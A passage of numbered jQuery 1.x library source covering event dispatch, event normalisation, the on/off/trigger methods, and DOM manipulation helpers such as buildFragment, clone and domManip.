2978 while ((matched = handlerQueue[i++]) && !event.isPropagationStopped()) {
2979 event.currentTarget = matched.elem;
2980 j = 0;
2981 while ((handleObj = matched.handlers[j++]) && !event.isImmediatePropagationStopped()) {
2982 if (!event.namespace_re || event.namespace_re.test(handleObj.namespace)) {
2983 event.handleObj = handleObj;
2984 event.data = handleObj.data;
2985 ret = ((jQuery.event.special[handleObj.origType] || {}).handle || handleObj.handler).apply(matched.elem, args);
2986 if (ret !== undefined) {
2987 if ((event.result = ret) === false) {
2988 event.preventDefault();
2989 event.stopPropagation()
2990 }
2991 }
2992 }
2993 }
2994 }
2995 if (special.postDispatch) {
2996 special.postDispatch.call(this, event)
2997 }
2998 return event.result
2999 },
3000 handlers: function(event, handlers) {
3001 var sel, handleObj, matches, i, handlerQueue = [],
3002 delegateCount = handlers.delegateCount,
3003 cur = event.target;
3004 if (delegateCount && cur.nodeType && (!event.button || event.type !== "click")) {
3005 for (; cur != this; cur = cur.parentNode || this) {
3006 if (cur.nodeType === 1 && (cur.disabled !== true || event.type !== "click")) {
3007 matches = [];
3008 for (i = 0; i < delegateCount; i++) {
3009 handleObj = handlers[i];
3010 sel = handleObj.selector + " ";
3011 if (matches[sel] === undefined) {
3012 matches[sel] = handleObj.needsContext ? jQuery(sel, this).index(cur) >= 0 : jQuery.find(sel, this, null, [cur]).length
3013 }
3014 if (matches[sel]) {
3015 matches.push(handleObj)
3016 }
3017 }
3018 if (matches.length) {
3019 handlerQueue.push({
3020 elem: cur,
3021 handlers: matches
3022 })
3023 }
3024 }
3025 }
3026 }
3027 if (delegateCount < handlers.length) {
3028 handlerQueue.push({
3029 elem: this,
3030 handlers: handlers.slice(delegateCount)
3031 })
3032 }
3033 return handlerQueue
3034 },
3035 fix: function(event) {
3036 if (event[jQuery.expando]) {
3037 return event
3038 }
3039 var i, prop, copy, type = event.type,
3040 originalEvent = event,
3041 fixHook = this.fixHooks[type];
3042 if (!fixHook) {
3043 this.fixHooks[type] = fixHook = rmouseEvent.test(type) ? this.mouseHooks : rkeyEvent.test(type) ? this.keyHooks : {}
3044 }
3045 copy = fixHook.props ? this.props.concat(fixHook.props) : this.props;
3046 event = new jQuery.Event(originalEvent);
3047 i = copy.length;
3048 while (i--) {
3049 prop = copy[i];
3050 event[prop] = originalEvent[prop]
3051 }
3052 if (!event.target) {
3053 event.target = originalEvent.srcElement || document
3054 }
3055 if (event.target.nodeType === 3) {
3056 event.target = event.target.parentNode
3057 }
3058 event.metaKey = !!event.metaKey;
3059 return fixHook.filter ? fixHook.filter(event, originalEvent) : event
3060 },
3061 props: "altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),
3062 fixHooks: {},
3063 keyHooks: {
3064 props: "char charCode key keyCode".split(" "),
3065 filter: function(event, original) {
3066 if (event.which == null) {
3067 event.which = original.charCode != null ? original.charCode : original.keyCode
3068 }
3069 return event
3070 }
3071 },
3072 mouseHooks: {
3073 props: "button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),
3074 filter: function(event, original) {
3075 var body, eventDoc, doc, button = original.button,
3076 fromElement = original.fromElement;
3077 if (event.pageX == null && original.clientX != null) {
3078 eventDoc = event.target.ownerDocument || document;
3079 doc = eventDoc.documentElement;
3080 body = eventDoc.body;
3081 event.pageX = original.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);
3082 event.pageY = original.clientY + (doc && doc.scrollTop || body && body.scrollTop || 0) - (doc && doc.clientTop || body && body.clientTop || 0)
3083 }
3084 if (!event.relatedTarget && fromElement) {
3085 event.relatedTarget = fromElement === event.target ? original.toElement : fromElement
3086 }
3087 if (!event.which && button !== undefined) {
3088 event.which = (button & 1 ? 1 : (button & 2 ? 3 : (button & 4 ? 2 : 0)))
3089 }
3090 return event
3091 }
3092 },
3093 special: {
3094 load: {
3095 noBubble: true
3096 },
3097 focus: {
3098 trigger: function() {
3099 if (this !== safeActiveElement() && this.focus) {
3100 try {
3101 this.focus();
3102 return false
3103 } catch (e) {}
3104 }
3105 },
3106 delegateType: "focusin"
3107 },
3108 blur: {
3109 trigger: function() {
3110 if (this === safeActiveElement() && this.blur) {
3111 this.blur();
3112 return false
3113 }
3114 },
3115 delegateType: "focusout"
3116 },
3117 click: {
3118 trigger: function() {
3119 if (jQuery.nodeName(this, "input") && this.type === "checkbox" && this.click) {
3120 this.click();
3121 return false
3122 }
3123 },
3124 _default: function(event) {
3125 return jQuery.nodeName(event.target, "a")
3126 }
3127 },
3128 beforeunload: {
3129 postDispatch: function(event) {
3130 if (event.result !== undefined && event.originalEvent) {
3131 event.originalEvent.returnValue = event.result
3132 }
3133 }
3134 }
3135 },
3136 simulate: function(type, elem, event, bubble) {
3137 var e = jQuery.extend(new jQuery.Event(), event, {
3138 type: type,
3139 isSimulated: true,
3140 originalEvent: {}
3141 });
3142 if (bubble) {
3143 jQuery.event.trigger(e, null, elem)
3144 } else {
3145 jQuery.event.dispatch.call(elem, e)
3146 }
3147 if (e.isDefaultPrevented()) {
3148 event.preventDefault()
3149 }
3150 }
3151 };
3152 jQuery.removeEvent = document.removeEventListener ? function(elem, type, handle) {
3153 if (elem.removeEventListener) {
3154 elem.removeEventListener(type, handle, false)
3155 }
3156 } : function(elem, type, handle) {
3157 var name = "on" + type;
3158 if (elem.detachEvent) {
3159 if (typeof elem[name] === strundefined) {
3160 elem[name] = null
3161 }
3162 elem.detachEvent(name, handle)
3163 }
3164 };
3165 jQuery.Event = function(src, props) {
3166 if (!(this instanceof jQuery.Event)) {
3167 return new jQuery.Event(src, props)
3168 }
3169 if (src && src.type) {
3170 this.originalEvent = src;
3171 this.type = src.type;
3172 this.isDefaultPrevented = src.defaultPrevented || src.defaultPrevented === undefined && src.returnValue === false ? returnTrue : returnFalse
3173 } else {
3174 this.type = src
3175 }
3176 if (props) {
3177 jQuery.extend(this, props)
3178 }
3179 this.timeStamp = src && src.timeStamp || jQuery.now();
3180 this[jQuery.expando] = true
3181 };
3182 jQuery.Event.prototype = {
3183 isDefaultPrevented: returnFalse,
3184 isPropagationStopped: returnFalse,
3185 isImmediatePropagationStopped: returnFalse,
3186 preventDefault: function() {
3187 var e = this.originalEvent;
3188 this.isDefaultPrevented = returnTrue;
3189 if (!e) {
3190 return
3191 }
3192 if (e.preventDefault) {
3193 e.preventDefault()
3194 } else {
3195 e.returnValue = false
3196 }
3197 },
3198 stopPropagation: function() {
3199 var e = this.originalEvent;
3200 this.isPropagationStopped = returnTrue;
3201 if (!e) {
3202 return
3203 }
3204 if (e.stopPropagation) {
3205 e.stopPropagation()
3206 }
3207 e.cancelBubble = true
3208 },
3209 stopImmediatePropagation: function() {
3210 var e = this.originalEvent;
3211 this.isImmediatePropagationStopped = returnTrue;
3212 if (e && e.stopImmediatePropagation) {
3213 e.stopImmediatePropagation()
3214 }
3215 this.stopPropagation()
3216 }
3217 };
3218 jQuery.each({
3219 mouseenter: "mouseover",
3220 mouseleave: "mouseout",
3221 pointerenter: "pointerover",
3222 pointerleave: "pointerout"
3223 }, function(orig, fix) {
3224 jQuery.event.special[orig] = {
3225 delegateType: fix,
3226 bindType: fix,
3227 handle: function(event) {
3228 var ret, target = this,
3229 related = event.relatedTarget,
3230 handleObj = event.handleObj;
3231 if (!related || (related !== target && !jQuery.contains(target, related))) {
3232 event.type = handleObj.origType;
3233 ret = handleObj.handler.apply(this, arguments);
3234 event.type = fix
3235 }
3236 return ret
3237 }
3238 }
3239 });
3240 if (!support.submitBubbles) {
3241 jQuery.event.special.submit = {
3242 setup: function() {
3243 if (jQuery.nodeName(this, "form")) {
3244 return false
3245 }
3246 jQuery.event.add(this, "click._submit keypress._submit", function(e) {
3247 var elem = e.target,
3248 form = jQuery.nodeName(elem, "input") || jQuery.nodeName(elem, "button") ? elem.form : undefined;
3249 if (form && !jQuery._data(form, "submitBubbles")) {
3250 jQuery.event.add(form, "submit._submit", function(event) {
3251 event._submit_bubble = true
3252 });
3253 jQuery._data(form, "submitBubbles", true)
3254 }
3255 })
3256 },
3257 postDispatch: function(event) {
3258 if (event._submit_bubble) {
3259 delete event._submit_bubble;
3260 if (this.parentNode && !event.isTrigger) {
3261 jQuery.event.simulate("submit", this.parentNode, event, true)
3262 }
3263 }
3264 },
3265 teardown: function() {
3266 if (jQuery.nodeName(this, "form")) {
3267 return false
3268 }
3269 jQuery.event.remove(this, "._submit")
3270 }
3271 }
3272 }
3273 if (!support.changeBubbles) {
3274 jQuery.event.special.change = {
3275 setup: function() {
3276 if (rformElems.test(this.nodeName)) {
3277 if (this.type === "checkbox" || this.type === "radio") {
3278 jQuery.event.add(this, "propertychange._change", function(event) {
3279 if (event.originalEvent.propertyName === "checked") {
3280 this._just_changed = true
3281 }
3282 });
3283 jQuery.event.add(this, "click._change", function(event) {
3284 if (this._just_changed && !event.isTrigger) {
3285 this._just_changed = false
3286 }
3287 jQuery.event.simulate("change", this, event, true)
3288 })
3289 }
3290 return false
3291 }
3292 jQuery.event.add(this, "beforeactivate._change", function(e) {
3293 var elem = e.target;
3294 if (rformElems.test(elem.nodeName) && !jQuery._data(elem, "changeBubbles")) {
3295 jQuery.event.add(elem, "change._change", function(event) {
3296 if (this.parentNode && !event.isSimulated && !event.isTrigger) {
3297 jQuery.event.simulate("change", this.parentNode, event, true)
3298 }
3299 });
3300 jQuery._data(elem, "changeBubbles", true)
3301 }
3302 })
3303 },
3304 handle: function(event) {
3305 var elem = event.target;
3306 if (this !== elem || event.isSimulated || event.isTrigger || (elem.type !== "radio" && elem.type !== "checkbox")) {
3307 return event.handleObj.handler.apply(this, arguments)
3308 }
3309 },
3310 teardown: function() {
3311 jQuery.event.remove(this, "._change");
3312 return !rformElems.test(this.nodeName)
3313 }
3314 }
3315 }
3316 if (!support.focusinBubbles) {
3317 jQuery.each({
3318 focus: "focusin",
3319 blur: "focusout"
3320 }, function(orig, fix) {
3321 var handler = function(event) {
3322 jQuery.event.simulate(fix, event.target, jQuery.event.fix(event), true)
3323 };
3324 jQuery.event.special[fix] = {
3325 setup: function() {
3326 var doc = this.ownerDocument || this,
3327 attaches = jQuery._data(doc, fix);
3328 if (!attaches) {
3329 doc.addEventListener(orig, handler, true)
3330 }
3331 jQuery._data(doc, fix, (attaches || 0) + 1)
3332 },
3333 teardown: function() {
3334 var doc = this.ownerDocument || this,
3335 attaches = jQuery._data(doc, fix) - 1;
3336 if (!attaches) {
3337 doc.removeEventListener(orig, handler, true);
3338 jQuery._removeData(doc, fix)
3339 } else {
3340 jQuery._data(doc, fix, attaches)
3341 }
3342 }
3343 }
3344 })
3345 }
3346 jQuery.fn.extend({
3347 on: function(types, selector, data, fn, one) {
3348 var type, origFn;
3349 if (typeof types === "object") {
3350 if (typeof selector !== "string") {
3351 data = data || selector;
3352 selector = undefined
3353 }
3354 for (type in types) {
3355 this.on(type, selector, data, types[type], one)
3356 }
3357 return this
3358 }
3359 if (data == null && fn == null) {
3360 fn = selector;
3361 data = selector = undefined
3362 } else if (fn == null) {
3363 if (typeof selector === "string") {
3364 fn = data;
3365 data = undefined
3366 } else {
3367 fn = data;
3368 data = selector;
3369 selector = undefined
3370 }
3371 }
3372 if (fn === false) {
3373 fn = returnFalse
3374 } else if (!fn) {
3375 return this
3376 }
3377 if (one === 1) {
3378 origFn = fn;
3379 fn = function(event) {
3380 jQuery().off(event);
3381 return origFn.apply(this, arguments)
3382 };
3383 fn.guid = origFn.guid || (origFn.guid = jQuery.guid++)
3384 }
3385 return this.each(function() {
3386 jQuery.event.add(this, types, fn, data, selector)
3387 })
3388 },
3389 one: function(types, selector, data, fn) {
3390 return this.on(types, selector, data, fn, 1)
3391 },
3392 off: function(types, selector, fn) {
3393 var handleObj, type;
3394 if (types && types.preventDefault && types.handleObj) {
3395 handleObj = types.handleObj;
3396 jQuery(types.delegateTarget).off(handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType, handleObj.selector, handleObj.handler);
3397 return this
3398 }
3399 if (typeof types === "object") {
3400 for (type in types) {
3401 this.off(type, selector, types[type])
3402 }
3403 return this
3404 }
3405 if (selector === false || typeof selector === "function") {
3406 fn = selector;
3407 selector = undefined
3408 }
3409 if (fn === false) {
3410 fn = returnFalse
3411 }
3412 return this.each(function() {
3413 jQuery.event.remove(this, types, fn, selector)
3414 })
3415 },
3416 trigger: function(type, data) {
3417 return this.each(function() {
3418 jQuery.event.trigger(type, data, this)
3419 })
3420 },
3421 triggerHandler: function(type, data) {
3422 var elem = this[0];
3423 if (elem) {
3424 return jQuery.event.trigger(type, data, elem, true)
3425 }
3426 }
3427 });
3428
3429 function createSafeFragment(document) {
3430 var list = nodeNames.split("|"),
3431 safeFrag = document.createDocumentFragment();
3432 if (safeFrag.createElement) {
3433 while (list.length) {
3434 safeFrag.createElement(list.pop())
3435 }
3436 }
3437 return safeFrag
3438 }
3439 var nodeNames = "abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|" + "header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",
3440 rinlinejQuery = / jQuery\d+="(?:null|\d+)"/g,
3441 rnoshimcache = new RegExp("<(?:" + nodeNames + ")[\\s/>]", "i"),
3442 rleadingWhitespace = /^\s+/,
3443 rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,
3444 rtagName = /<([\w:]+)/,
3445 rtbody = /<tbody/i,
3446 rhtml = /<|&#?\w+;/,
3447 rnoInnerhtml = /<(?:script|style|link)/i,
3448 rchecked = /checked\s*(?:[^=]|=\s*.checked.)/i,
3449 rscriptType = /^$|\/(?:java|ecma)script/i,
3450 rscriptTypeMasked = /^true\/(.*)/,
3451 rcleanScript = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
3452 wrapMap = {
3453 option: [1, "<select multiple='multiple'>", "</select>"],
3454 legend: [1, "<fieldset>", "</fieldset>"],
3455 area: [1, "<map>", "</map>"],
3456 param: [1, "<object>", "</object>"],
3457 thead: [1, "<table>", "</table>"],
3458 tr: [2, "<table><tbody>", "</tbody></table>"],
3459 col: [2, "<table><tbody></tbody><colgroup>", "</colgroup></table>"],
3460 td: [3, "<table><tbody><tr>", "</tr></tbody></table>"],
3461 _default: support.htmlSerialize ? [0, "", ""] : [1, "X<div>", "</div>"]
3462 },
3463 safeFragment = createSafeFragment(document),
3464 fragmentDiv = safeFragment.appendChild(document.createElement("div"));
3465 wrapMap.optgroup = wrapMap.option;
3466 wrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;
3467 wrapMap.th = wrapMap.td;
3468
3469 function getAll(context, tag) {
3470 var elems, elem, i = 0,
3471 found = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName(tag || "*") : typeof context.querySelectorAll !== strundefined ? context.querySelectorAll(tag || "*") : undefined;
3472 if (!found) {
3473 for (found = [], elems = context.childNodes || context;
3474 (elem = elems[i]) != null; i++) {
3475 if (!tag || jQuery.nodeName(elem, tag)) {
3476 found.push(elem)
3477 } else {
3478 jQuery.merge(found, getAll(elem, tag))
3479 }
3480 }
3481 }
3482 return tag === undefined || tag && jQuery.nodeName(context, tag) ? jQuery.merge([context], found) : found
3483 }
3484
3485 function fixDefaultChecked(elem) {
3486 if (rcheckableType.test(elem.type)) {
3487 elem.defaultChecked = elem.checked
3488 }
3489 }
3490
3491 function manipulationTarget(elem, content) {
3492 return jQuery.nodeName(elem, "table") && jQuery.nodeName(content.nodeType !== 11 ? content : content.firstChild, "tr") ? elem.getElementsByTagName("tbody")[0] || elem.appendChild(elem.ownerDocument.createElement("tbody")) : elem
3493 }
3494
3495 function disableScript(elem) {
3496 elem.type = (jQuery.find.attr(elem, "type") !== null) + "/" + elem.type;
3497 return elem
3498 }
3499
3500 function restoreScript(elem) {
3501 var match = rscriptTypeMasked.exec(elem.type);
3502 if (match) {
3503 elem.type = match[1]
3504 } else {
3505 elem.removeAttribute("type")
3506 }
3507 return elem
3508 }
3509
3510 function setGlobalEval(elems, refElements) {
3511 var elem, i = 0;
3512 for (;
3513 (elem = elems[i]) != null; i++) {
3514 jQuery._data(elem, "globalEval", !refElements || jQuery._data(refElements[i], "globalEval"))
3515 }
3516 }
3517
3518 function cloneCopyEvent(src, dest) {
3519 if (dest.nodeType !== 1 || !jQuery.hasData(src)) {
3520 return
3521 }
3522 var type, i, l, oldData = jQuery._data(src),
3523 curData = jQuery._data(dest, oldData),
3524 events = oldData.events;
3525 if (events) {
3526 delete curData.handle;
3527 curData.events = {};
3528 for (type in events) {
3529 for (i = 0, l = events[type].length; i < l; i++) {
3530 jQuery.event.add(dest, type, events[type][i])
3531 }
3532 }
3533 }
3534 if (curData.data) {
3535 curData.data = jQuery.extend({}, curData.data)
3536 }
3537 }
3538
3539 function fixCloneNodeIssues(src, dest) {
3540 var nodeName, e, data;
3541 if (dest.nodeType !== 1) {
3542 return
3543 }
3544 nodeName = dest.nodeName.toLowerCase();
3545 if (!support.noCloneEvent && dest[jQuery.expando]) {
3546 data = jQuery._data(dest);
3547 for (e in data.events) {
3548 jQuery.removeEvent(dest, e, data.handle)
3549 }
3550 dest.removeAttribute(jQuery.expando)
3551 }
3552 if (nodeName === "script" && dest.text !== src.text) {
3553 disableScript(dest).text = src.text;
3554 restoreScript(dest)
3555 } else if (nodeName === "object") {
3556 if (dest.parentNode) {
3557 dest.outerHTML = src.outerHTML
3558 }
3559 if (support.html5Clone && (src.innerHTML && !jQuery.trim(dest.innerHTML))) {
3560 dest.innerHTML = src.innerHTML
3561 }
3562 } else if (nodeName === "input" && rcheckableType.test(src.type)) {
3563 dest.defaultChecked = dest.checked = src.checked;
3564 if (dest.value !== src.value) {
3565 dest.value = src.value
3566 }
3567 } else if (nodeName === "option") {
3568 dest.defaultSelected = dest.selected = src.defaultSelected
3569 } else if (nodeName === "input" || nodeName === "textarea") {
3570 dest.defaultValue = src.defaultValue
3571 }
3572 }
3573 jQuery.extend({
3574 clone: function(elem, dataAndEvents, deepDataAndEvents) {
3575 var destElements, node, clone, i, srcElements, inPage = jQuery.contains(elem.ownerDocument, elem);
3576 if (support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test("<" + elem.nodeName + ">")) {
3577 clone = elem.cloneNode(true)
3578 } else {
3579 fragmentDiv.innerHTML = elem.outerHTML;
3580 fragmentDiv.removeChild(clone = fragmentDiv.firstChild)
3581 }
3582 if ((!support.noCloneEvent || !support.noCloneChecked) && (elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem)) {
3583 destElements = getAll(clone);
3584 srcElements = getAll(elem);
3585 for (i = 0;
3586 (node = srcElements[i]) != null; ++i) {
3587 if (destElements[i]) {
3588 fixCloneNodeIssues(node, destElements[i])
3589 }
3590 }
3591 }
3592 if (dataAndEvents) {
3593 if (deepDataAndEvents) {
3594 srcElements = srcElements || getAll(elem);
3595 destElements = destElements || getAll(clone);
3596 for (i = 0;
3597 (node = srcElements[i]) != null; i++) {
3598 cloneCopyEvent(node, destElements[i])
3599 }
3600 } else {
3601 cloneCopyEvent(elem, clone)
3602 }
3603 }
3604 destElements = getAll(clone, "script");
3605 if (destElements.length > 0) {
3606 setGlobalEval(destElements, !inPage && getAll(elem, "script"))
3607 }
3608 destElements = srcElements = node = null;
3609 return clone
3610 },
3611 buildFragment: function(elems, context, scripts, selection) {
3612 var j, elem, contains, tmp, tag, tbody, wrap, l = elems.length,
3613 safe = createSafeFragment(context),
3614 nodes = [],
3615 i = 0;
3616 for (; i < l; i++) {
3617 elem = elems[i];
3618 if (elem || elem === 0) {
3619 if (jQuery.type(elem) === "object") {
3620 jQuery.merge(nodes, elem.nodeType ? [elem] : elem)
3621 } else if (!rhtml.test(elem)) {
3622 nodes.push(context.createTextNode(elem))
3623 } else {
3624 tmp = tmp || safe.appendChild(context.createElement("div"));
3625 tag = (rtagName.exec(elem) || ["", ""])[1].toLowerCase();
3626 wrap = wrapMap[tag] || wrapMap._default;
3627 tmp.innerHTML = wrap[1] + elem.replace(rxhtmlTag, "<$1></$2>") + wrap[2];
3628 j = wrap[0];
3629 while (j--) {
3630 tmp = tmp.lastChild
3631 }
3632 if (!support.leadingWhitespace && rleadingWhitespace.test(elem)) {
3633 nodes.push(context.createTextNode(rleadingWhitespace.exec(elem)[0]))
3634 }
3635 if (!support.tbody) {
3636 elem = tag === "table" && !rtbody.test(elem) ? tmp.firstChild : wrap[1] === "<table>" && !rtbody.test(elem) ? tmp : 0;
3637 j = elem && elem.childNodes.length;
3638 while (j--) {
3639 if (jQuery.nodeName((tbody = elem.childNodes[j]), "tbody") && !tbody.childNodes.length) {
3640 elem.removeChild(tbody)
3641 }
3642 }
3643 }
3644 jQuery.merge(nodes, tmp.childNodes);
3645 tmp.textContent = "";
3646 while (tmp.firstChild) {
3647 tmp.removeChild(tmp.firstChild)
3648 }
3649 tmp = safe.lastChild
3650 }
3651 }
3652 }
3653 if (tmp) {
3654 safe.removeChild(tmp)
3655 }
3656 if (!support.appendChecked) {
3657 jQuery.grep(getAll(nodes, "input"), fixDefaultChecked)
3658 }
3659 i = 0;
3660 while ((elem = nodes[i++])) {
3661 if (selection && jQuery.inArray(elem, selection) !== -1) {
3662 continue
3663 }
3664 contains = jQuery.contains(elem.ownerDocument, elem);
3665 tmp = getAll(safe.appendChild(elem), "script");
3666 if (contains) {
3667 setGlobalEval(tmp)
3668 }
3669 if (scripts) {
3670 j = 0;
3671 while ((elem = tmp[j++])) {
3672 if (rscriptType.test(elem.type || "")) {
3673 scripts.push(elem)
3674 }
3675 }
3676 }
3677 }
3678 tmp = null;
3679 return safe
3680 },
3681 cleanData: function(elems, acceptData) {
3682 var elem, type, id, data, i = 0,
3683 internalKey = jQuery.expando,
3684 cache = jQuery.cache,
3685 deleteExpando = support.deleteExpando,
3686 special = jQuery.event.special;
3687 for (;
3688 (elem = elems[i]) != null; i++) {
3689 if (acceptData || jQuery.acceptData(elem)) {
3690 id = elem[internalKey];
3691 data = id && cache[id];
3692 if (data) {
3693 if (data.events) {
3694 for (type in data.events) {
3695 if (special[type]) {
3696 jQuery.event.remove(elem, type)
3697 } else {
3698 jQuery.removeEvent(elem, type, data.handle)
3699 }
3700 }
3701 }
3702 if (cache[id]) {
3703 delete cache[id];
3704 if (deleteExpando) {
3705 delete elem[internalKey]
3706 } else if (typeof elem.removeAttribute !== strundefined) {
3707 elem.removeAttribute(internalKey)
3708 } else {
3709 elem[internalKey] = null
3710 }
3711 deletedIds.push(id)
3712 }
3713 }
3714 }
3715 }
3716 }
3717 });
3718 jQuery.fn.extend({
3719 text: function(value) {
3720 return access(this, function(value) {
3721 return value === undefined ? jQuery.text(this) : this.empty().append((this[0] && this[0].ownerDocument || document).createTextNode(value))
3722 }, null, value, arguments.length)
3723 },
3724 append: function() {
3725 return this.domManip(arguments, function(elem) {
3726 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3727 var target = manipulationTarget(this, elem);
3728 target.appendChild(elem)
3729 }
3730 })
3731 },
3732 prepend: function() {
3733 return this.domManip(arguments, function(elem) {
3734 if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
3735 var target = manipulationTarget(this, elem);
3736 target.insertBefore(elem, target.firstChild)
3737 }
3738 })
3739 },
3740 before: function() {
3741 return this.domManip(arguments, function(elem) {
3742 if (this.parentNode) {
3743 this.parentNode.insertBefore(elem, this)
3744 }
3745 })
3746 },
3747 after: function() {
3748 return this.domManip(arguments, function(elem) {
3749 if (this.parentNode) {
3750 this.parentNode.insertBefore(elem, this.nextSibling)
3751 }
3752 })
3753 },
3754 remove: function(selector, keepData) {
3755 var elem, elems = selector ? jQuery.filter(selector, this) : this,
3756 i = 0;
3757 for (;
3758 (elem = elems[i]) != null; i++) {
3759 if (!keepData && elem.nodeType === 1) {
3760 jQuery.cleanData(getAll(elem))
3761 }
3762 if (elem.parentNode) {
3763 if (keepData && jQuery.contains(elem.ownerDocument, elem)) {
3764 setGlobalEval(getAll(elem, "script"))
3765 }
3766 elem.parentNode.removeChild(elem)
3767 }
3768 }
3769 return this
3770 },
3771 empty: function() {
3772 var elem, i = 0;
3773 for (;
3774 (elem = this[i]) != null; i++) {
3775 if (elem.nodeType === 1) {
3776 jQuery.cleanData(getAll(elem, false))
3777 }
3778 while (elem.firstChild) {
3779 elem.removeChild(elem.firstChild)
3780 }
3781 if (elem.options && jQuery.nodeName(elem, "select")) {
3782 elem.options.length = 0
3783 }
3784 }
3785 return this
3786 },
3787 clone: function(dataAndEvents, deepDataAndEvents) {
3788 dataAndEvents = dataAndEvents == null ? false : dataAndEvents;
3789 deepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;
3790 return this.map(function() {
3791 return jQuery.clone(this, dataAndEvents, deepDataAndEvents)
3792 })
3793 },
3794 html: function(value) {
3795 return access(this, function(value) {
3796 var elem = this[0] || {},
3797 i = 0,
3798 l = this.length;
3799 if (value === undefined) {
3800 return elem.nodeType === 1 ? elem.innerHTML.replace(rinlinejQuery, "") : undefined
3801 }
3802 if (typeof value === "string" && !rnoInnerhtml.test(value) && (support.htmlSerialize || !rnoshimcache.test(value)) && (support.leadingWhitespace || !rleadingWhitespace.test(value)) && !wrapMap[(rtagName.exec(value) || ["", ""])[1].toLowerCase()]) {
3803 value = value.replace(rxhtmlTag, "<$1></$2>");
3804 try {
3805 for (; i < l; i++) {
3806 elem = this[i] || {};
3807 if (elem.nodeType === 1) {
3808 jQuery.cleanData(getAll(elem, false));
3809 elem.innerHTML = value
3810 }
3811 }
3812 elem = 0
3813 } catch (e) {}
3814 }
3815 if (elem) {
3816 this.empty().append(value)
3817 }
3818 }, null, value, arguments.length)
3819 },
3820 replaceWith: function() {
3821 var arg = arguments[0];
3822 this.domManip(arguments, function(elem) {
3823 arg = this.parentNode;
3824 jQuery.cleanData(getAll(this));
3825 if (arg) {
3826 arg.replaceChild(elem, this)
3827 }
3828 });
3829 return arg && (arg.length || arg.nodeType) ? this : this.remove()
3830 },
3831 detach: function(selector) {
3832 return this.remove(selector, true)
3833 },
3834 domManip: function(args, callback) {
3835 args = concat.apply([], args);
3836 var first, node, hasScripts, scripts, doc, fragment, i = 0,
3837 l = this.length,
3838 set = this,
3839 iNoClone = l - 1,
3840 value = args[0],
3841 isFunction = jQuery.isFunction(value);
3842 if (isFunction || (l > 1 && typeof value === "string" && !support.checkClone && rchecked.test(value))) {
3843 return this.each(function(index) {
3844 var self = set.eq(index);
3845 if (isFunction) {
3846 args[0] = value.call(this, index, self.html())
3847 }
3848 self.domManip(args, callback)
3849 })
3850 }
3851 if (l) {
3852 fragment = jQuery.buildFragment(args, this[0].ownerDocument, false, this);
3853 first = fragment.firstChild;
3854 if (fragment.childNodes.length === 1) {
3855 fragment = first
3856 }
3857 if (first) {
3858 scripts = jQuery.map(getAll(fragment, "script"), disableScript);
3859 hasScripts = scripts.length;
3860 for (; i < l; i++) {
3861 node = fragment;
3862 if (i !== iNoClone) {
3863 node = jQuery.clone(node, true, true);
3864 if (hasScripts) {
3865 jQuery.merge(scripts, getAll(node, "script"))
3866 }
3867 }
3868 callback.call(this[i], node, i)
3869 }
3870 if (hasScripts) {
3871 doc = scripts[scripts.length - 1].ownerDocument;
3872 jQuery.map(scripts, restoreScript);
3873 for (i = 0; i < hasScripts; i++) {
3874 node = scripts[i];
3875 if (rscriptType.test(node.type || "") && !jQuery._data(node, "globalEval") && jQuery.contains(doc, node)) {
3876 if (node.src) {
3877 if (jQuery._evalUrl) {
3878 jQuery._evalUrl(node.src)
3879 }
3880 } else {
3881 jQuery.globalEval((node.text || node.textContent || node.innerHTML || "").replace(rcleanScript, ""))
3882 }
3883 }
3884 }
3885 }
3886 fragment = first = null
3887 }
3888 }
3889 return this
3890 }
3891 });
3892 jQuery.each({
3893 appendTo: "append",
3894 prependTo: "prepend",
3895 insertBefore: "before",
3896 insertAfter: "after",
3897 replaceAll: "replaceWith"
3898 }, function(name, original) {
3899 jQuery.fn[name] = function(selector) {
3900 var elems, i = 0,
3901 ret = [],
3902 insert = jQuery(selector),
3903 last = insert.length - 1;
3904 for (; i <= last; i++) {
3905 elems = i === last ? this : this.clone(true);
3906 jQuery(insert[i])[original](elems);
3907 push.apply(ret, elems.get())
3908 }
3909 return this.pushStack(ret)
3910 }
3911 });
3912 var iframe, elemdisplay = {};
3913
3914 function actualDisplay(name, doc) {
3915 var style, elem = jQuery(doc.createElement(name)).appendTo(doc.body),
3916 display = window.getDefaultComputedStyle && (style = window.getDefaultComputedStyle(elem[0])) ? style.display : jQuery.css(elem[0], "display");
3917 elem.detach();
3918 return display
3919 }
3920
3921 function defaultDisplay(nodeName) {
3922 var doc = document,
3923 display = elemdisplay[nodeName];
3924 if (!display) {
3925 display = actualDisplay(nodeName, doc);
3926 if (display === "none" || !display) {
3927 iframe = (iframe || jQuery("<iframe frameborder='0' width='0' height='0'/>")).appendTo(doc.documentElement);
3928 doc = (iframe[0].contentWindow || iframe[0].contentDocument).document;
3929 doc.write();
3930 doc.close();
3931 display = actualDisplay(nodeName, doc);
3932 iframe.detach()
3933 }
3934 elemdisplay[nodeName] = display
3935 }
3936 return display
3937 }(function() {
3938 var shrinkWrapBlocksVal;
3939 support.shrinkWrapBlocks = function() {
3940 if (shrinkWrapBlocksVal != null) {
3941 return shrinkWrapBlocksVal
3942 }
3943 shrinkWrapBlocksVal = false;
3944 var div, body, container;
3945 body = document.getElementsByTagName("body")[0];
3946 if (!body || !body.style) {
3947 return
3948 }
3949 div = document.createElement("div");
3950 container = document.createElement("div");
